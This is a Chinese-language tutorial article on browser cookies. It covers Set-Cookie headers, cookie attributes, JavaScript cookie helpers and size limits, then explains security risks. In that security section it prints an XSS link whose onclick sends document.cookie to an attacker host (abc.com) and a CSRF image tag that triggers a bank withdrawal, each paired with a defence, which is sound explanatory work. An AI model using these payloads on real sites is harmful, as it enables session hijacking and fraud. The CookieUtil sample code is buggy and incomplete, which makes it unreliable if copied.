深刻理解浏览器Cookie

Cookie产生的背景

随着web应用愈来愈复杂,但愿可以在用户自己机器上存储用户信息,不管是登陆信息,偏好设定或其余数据,这个问题第一个方案就是以cookie形式出现的,最先提出cookie的网景公司。一份题为“Persistent Client State: HTTP Cookes”(持久客户端状态:HTTP Cookies)的标准中对 cookie 机制进行了阐述(该标准还能够在这里看到:curl.haxx.se/rfc/cookie_… 只是在客户端存储数据的其中一种选项。javascript

HTTP Cookie,一般直接叫作 cookie,最初是在客户端用于存储会话信息的。该标准要求服务器对 任意 HTTP 请求发送 Set-Cookie HTTP 头做为响应的一部分,其中包含会话信息。例如,这种服务器响 应的头可能以下:html

HTTP/1.1 200 OK 
Content-type: text/html 
Set-Cookie: name=value 
Other-header: other-header-value
复制代码

这个 HTTP 响应设置以 name 为名称、以 value 为值的一个 cookie,名称和值在传送时都必须是URL 编码的。浏览器会存储这样的会话信息,并在这以后,经过为每一个请求添加 Cookie HTTP 头将信息发送回服务器,以下所示:java

GET /index.html HTTP/1.1 
Cookie: name=value 
Other-header: other-header-value
复制代码

Cookie的机制

如图所示,用户首次访问服务器,服务器会返回一个独一无二的识别码;id=23451,这样服务器能够用这个码跟踪记录用户的信息,(购物历史,地址信息等)。git

cookie能够包含任意的信息,不只仅是id,客户端会记录服务器返回来的Set-Cookie首部中的cookie内容。并将cookie存储在浏览器的cookie数据库中,当用户访问同一站点时,浏览器就会挑选当时该站点颁发的id=XXX的身份证(cookie),并在Cookie请求首部发送过去。github

Cookie的类型

cookie能够根据存储时间分为会话coolie和持久cookie,会话cookie会在关闭浏览器后自动删除,持久性cookie会存储在硬盘上,保存时间更久,关闭浏览器和电脑还能够保存。好比:web

document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";数据库

Cookie的构成

浏览器

cookie 对于哪一个域是有效的。全部向该域发送的请求中都会包含这个 cookie 信息。这个值能够包含子域(subdomain,如www.wrox.com),也能够不包含它(如.wrox.com,则对于wrox.com的全部子域都有效)。若是没有明确设定,那么这个域会被认做来自设置 cookie 的那个域。缓存

安全

储存在 cookie 中的字符串值。值必须被 URL 编码。

路径

对于指定域中的那个路径,应该向服务器发送 cookie。例如,你能够指定 cookie 只有从http://www.wrox.com/books/ 中才能访问,那么 www.wrox.com 的页面就不会发送 cookie 信息,即便请求都是来自同一个域的。

过时时间

表示 cookie 什么时候应该被删除的时间戳(也就是,什么时候应该中止向服务器发送这个cookie)。默认状况下,浏览器会话结束时即将全部 cookie 删除;不过也能够本身设置删除时间。这个值是个 GMT 格式的日期(Wdy, DD-Mon-YYYY HH:MM:SS GMT),用于指定应该删除cookie 的准确时间。所以,cookie 可在浏览器关闭后依然保存在用户的机器上。若是你设置的失效日期是个之前的时间,则 cookie 会被马上删除。

安全标志

指定后,cookie 只有在使用 SSL 链接的时候才发送到服务器。例如,cookie 信息只能发送给 www.wrox.com,而 www.wrox.com 的请求则不能发送 cookie。 每一段信息都做为 Set-Cookie 头的一部分,使用分号加空格分隔每一段,以下例所示。

HTTP/1.1 200 OK
   Content-type: text/html
   Set-Cookie: name=value; expires=Mon, 22-Jan-07 07:10:24 GMT; domain=.wrox.com
   Other-header: other-header-value
复制代码

该头信息指定了一个叫作 name 的 cookie,它会在格林威治时间 2007 年 1 月 22 日 7:10:24 失效,同时对于 www.wrox.com 和 wrox.com 的任何子域(如 p2p.wrox.com)都有效。 secure 标志是 cookie 中惟一一个非名值对儿的部分,直接包含一个 secure 单词。以下:

HTTP/1.1 200 OK 
Content-type: text/html 
Set-Cookie: name=value; domain=.wrox.com; path=/; secure 
Other-header: other-header-value
复制代码

这里,建立了一个对于全部 wrox.com 的子域和域名下(由 path 参数指定的)全部页面都有效的cookie。由于设置了 secure 标志,这个 cookie 只能经过 SSL 链接才能传输。尤为要注意,域、路径、失效时间和 secure 标志都是服务器给浏览器的指示,以指定什么时候应该发送 cookie。这些参数并不会做为发送到服务器的 cookie 信息的一部分,只有名值对儿才会被发送。

Javscript操做cookie

在JavaScript中处理cookie有些复杂,由于其众所周知的蹩脚的接口,即BOM的document. cookie属性。这个属性的独特之处在于它会由于使用它的方式不一样而表现出不一样的行为。当用来获取属性值时,document.cookie 返回当前页面可用的(根据 cookie 的域、路径、失效时间和安全设置)全部 cookie的字符串,一系列由分号隔开的名值对儿,以下例所示。

name1=value1;name2=value2;name3=value3
复制代码

全部名字和值都是通过 URL 编码的,因此必须使用 decodeURIComponent()来解码

注意:当用于设置值的时候,document.cookie 属性能够设置为一个新的 cookie 字符串。这个 cookie 字符串会被解释并添加到现有的 cookie 集合中。设置 document.cookie 并不会覆盖 cookie,除非设置的cookie 的名称已经存在。设置 cookie 的格式以下,和 Set-Cookie 头中使用的格式同样。

name=value; expires=expiration_time; path=domain_path; domain=domain_name; secure
复制代码

这些参数中,只有 cookie 的名字和值是必需的。下面是一个简单的例子。

document.cookie = "name=Nicholas";

复制代码

这段代码建立了一个叫 name 的 cookie,值为 Nicholas。当客户端每次向服务器端发送请求的时候,都会发送这个 cookie;当浏览器关闭的时候,它就会被删除。虽然这段代码没问题,但由于这里正好名称和值都无需编码,因此最好每次设置 cookie 时都像下面这个例子中同样使用encodeURIComponent()。

document.cookie = encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas");
复制代码

要给被建立的 cookie 指定额外的信息,只要将参数追加到该字符串,和 Set-Cookie 头中的格式同样,以下所示。

document.cookie = encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas") + "; domain=.wrox.com; path=/";
复制代码

因为JS操做cookie比较麻烦,咱们通常封装一层

var CookieUtil={
     setCookie:function(name,value,expiredays){
        var d=new Date();
        d.setDate(date.getDate()+expiredays);
        window.document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + ";path=/;expires=" + d.toGMTString();
     },
     getCookie:function(name){
       var v=document.cookie.match('(^|;)'+name+'=([^;]*)(;|$)'));
       return v?v[2]:null;
     },
     deleteCookie:function(name){
       this.setCookie(name, '', -1)
复制代码

Cookie的缺点

一、大小限制,每一个域的 cookie 总数是有限的,不过浏览器之间各有不一样

  • IE6 以及更低版本限制每一个域名最多 20 个 cookie。
  • IE7 和以后版本每一个域名最多 50 个。IE7 最初是支持每一个域名最大 20 个 cookie,以后被微软的一个补丁所更新。
  • Firefox 限制每一个域最多 50 个 cookie。
  • Opera 限制每一个域最多 30 个 cookie。
  • Safari 和 Chrome 对于每一个域的 cookie 数量限制没有硬性规定。 大多数浏览器都有大约 4096B(加减 1)的长度限制。为了最佳的浏览器兼容性,最好将整个 cookie 长度限制在 4095B(含 4095)之内。尺寸限制影响到一个域下全部的 cookie,而并不是每一个 cookie 单独限制。若是你尝试建立超过最大尺寸限制的 cookie,那么该 cookie 会被悄无声息地丢掉。注意,虽然一个字符一般占用一字节,可是多字节状况则有不一样。

二、过多的 Cookie 会带来巨大的性能浪费

Cookie 是紧跟域名的。同一个域名下的全部请求,都会携带 Cookie。你们试想,若是咱们此刻仅仅是请求一张图片或者一个 CSS 文件,咱们也要携带一个 Cookie 跑来跑去(关键是 Cookie 里存储的信息并不须要),这是一件多么劳民伤财的事情。Cookie 虽然小,请求却能够有不少,随着请求的叠加,这样的没必要要的 Cookie 带来的开销将是没法想象的。

三、安全性问题

多数网站使用cookie做为用户会话的惟一标识,由于其余的方法具备限制和漏洞。若是一个网站使用cookies做为会话标识符,攻击者能够经过窃取一套用户的cookies来冒充用户的请求。从服务器的角度,它是无法分辨用户和攻击者的,由于用户和攻击者拥有相同的身份验证。 下面介绍几种cookie盗用和会话劫持的例子:

网络窃听

网络上的流量能够被网络上任何计算机拦截,特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的状况下,攻击者能够读取网络上的其余用户的信息,包含HTTP Cookie的所有内容,以便进行中间的攻击。好比:拦截cookie来冒充用户身份执行恶意任务(银行转帐等)。

解决办法:服务器能够设置secure属性的cookie,这样就只能经过https的方式来发送cookies了。

DNS缓存中毒

若是攻击者可使DNS缓存中毒,那么攻击者就能够访问用户的Cookie了,例如:攻击者使用DNS中毒来建立一个虚拟的NDS服务h123456.www.demo.com指向攻击者服务器的ip地址。而后攻击者能够从服务器 h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片,因为 www.demo.com和h123456.www.demo.com是同一个子域,因此浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上,这样攻击者就会拿到用户的cookie搞事情。

通常状况下是不会发生这种状况,一般是网络供应商错误。

跨站点脚本XSS

使用跨站点脚本技术能够窃取cookie。当网站容许使用javascript操做cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时能够拿到用户的cookie信息。 例子:

<a href="#" onclick=window.location=http://abc.com?cookie=${docuemnt.cookie}>

复制代码

当用户点击这个连接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者一样能够拿cookie搞事情。

解决办法:能够经过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操做cookie。

跨站请求伪造CSRF

例如,SanShao可能正在浏览其余用户XiaoMing发布消息的聊天论坛。假设XiaoMing制做了一个引用ShanShao银行网站的HTML图像元素,例如,

<img src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >

复制代码

若是SanShao的银行将其认证信息保存在cookie中,而且cookie还没有过时,(固然是没有其余验证身份的东西),那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单,从而在未经SanShao批准的状况下受权交易。

解决办法:增长其余信息的校验(手机验证码,或者其余盾牌)。

文章转载地址: github.com/huzhao0316/…
相关文章
相关标签/搜索